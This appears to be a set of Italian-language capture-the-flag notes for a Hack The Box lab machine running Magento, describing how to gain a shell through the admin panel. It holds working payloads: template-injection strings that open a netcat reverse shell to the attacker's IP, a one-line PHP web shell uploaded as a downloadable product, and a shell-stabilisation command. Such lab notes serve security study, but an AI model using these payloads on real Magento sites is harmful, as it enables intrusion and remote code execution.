tags: Magento CMS reverse_shell
Injection nei Template Email
Magento utilizza un sistema di template per le email che permette l’uso di variabili e filtri. Se la versione è vulnerabile puoi iniettare codice PHP o comandi di sistema direttamente nel template e farlo eseguire tramite la funzione “Preview”.
Mettiti in ascolto con Netcat sulla tua macchina:
nc -lvnp 4444-
Nel pannello Admin di Magento, vai su: Marketing → Communications → Email Templates.
-
Clicca su Add New Template
-
In “Load default template”, scegline uno a caso (es. “Forgot Password”) e clicca Load Template.
-
Dai un nome al template (es. “Shell”).
-
Nel campo Template Content, inserisci il payload.
Nota:_ Magento filtra molto. Prova questi payload in ordine:
# Primo payload
{{system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc TUO_IP 4444 >/tmp/f')}}
# Secondo payload
{{block class="Magento\Framework\View\Element\Template" template="system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc TUO_IP 4444 >/tmp/f')"}}
-
Clicca su Save Template (o direttamente Preview Template se c’è il tasto in alto).
-
Se hai salvato, trova il template nella lista e clicca su Preview. L’atto di renderizzare l’anteprima esegue il codice. Controlla il tuo Netcat.
Upload “Downloadable Product”
Se il template non funziona, prova a caricare una shell tramite il catalogo prodotti. Magento rinomina i file in modo sicuro (hashing), ma c’è un trucco per trovarli.
- Crea un file
shell.php:
<?php system($_GET['cmd']); ?>-
Vai su Catalog → Products.
-
Clicca Add Product e seleziona Downloadable Product.
-
Compila i campi obbligatori (Nome, SKU, Prezzo) con dati a caso.
-
Scorri in basso fino alla sezione Downloadable Information.
-
Spunta “Is this downloadable product?“.
-
Sotto “Links”, aggiungi una riga, seleziona “Upload File” e carica la tua
shell.php. -
Importante: Non salvare ancora. Guarda la richiesta di rete (Network Tab del browser) o salva e cerca di capire dove è finito il file.
-
Solitamente finisce in:
/pub/media/downloadable/files/links/s/h/shell.php(Magento prende la prima e la seconda lettera del file originale per creare le cartelle). -
A volte aggiunge un hash al nome del file.
-
-
Una volta trovato il percorso (puoi vederlo cliccando sul link del file nel pannello admin dopo aver salvato), naviga lì col browser:
http://ignition.htb/pub/media/downloadable/files/links/s/h/shell.php?cmd=id
Exploit Script
Se i metodi manuali sono bloccati o troppo noiosi, la versione di Magento su Ignition è probabilmente vulnerabile a CVE-2022-24086 o simili exploit per Authenticated RCE.
-
Controlla la versione di Magento (in basso a destra nel footer della pagina admin). Probabilmente è una 2.4.x.
-
Cerca su
searchsploito GitHub: “Magento 2.4 Authenticated RCE”. -
C’è un exploit famoso in Python (spesso chiamato
exploit.pynei writeup di Ignition) che sfrutta la vulnerabilità dei template email automaticamente.
Se vuoi usare un one-liner rapido per testare se l’RCE via template funziona (senza reverse shell complessa), prova a mettere questo nel Template Content e fai la Preview:
{{var this.getTemplateFilter().filter(system('id'))}}Se nell’anteprima vedi uid=33(www-data)..., hai vinto. A quel punto sostituisci id con il comando per la reverse shell.’
Prossimo Step: Una volta ottenuta la shell come www-data, dovrai stabilizzarla (python3 -c 'import pty;pty.spawn("/bin/bash")') e cercare la flag user in /home.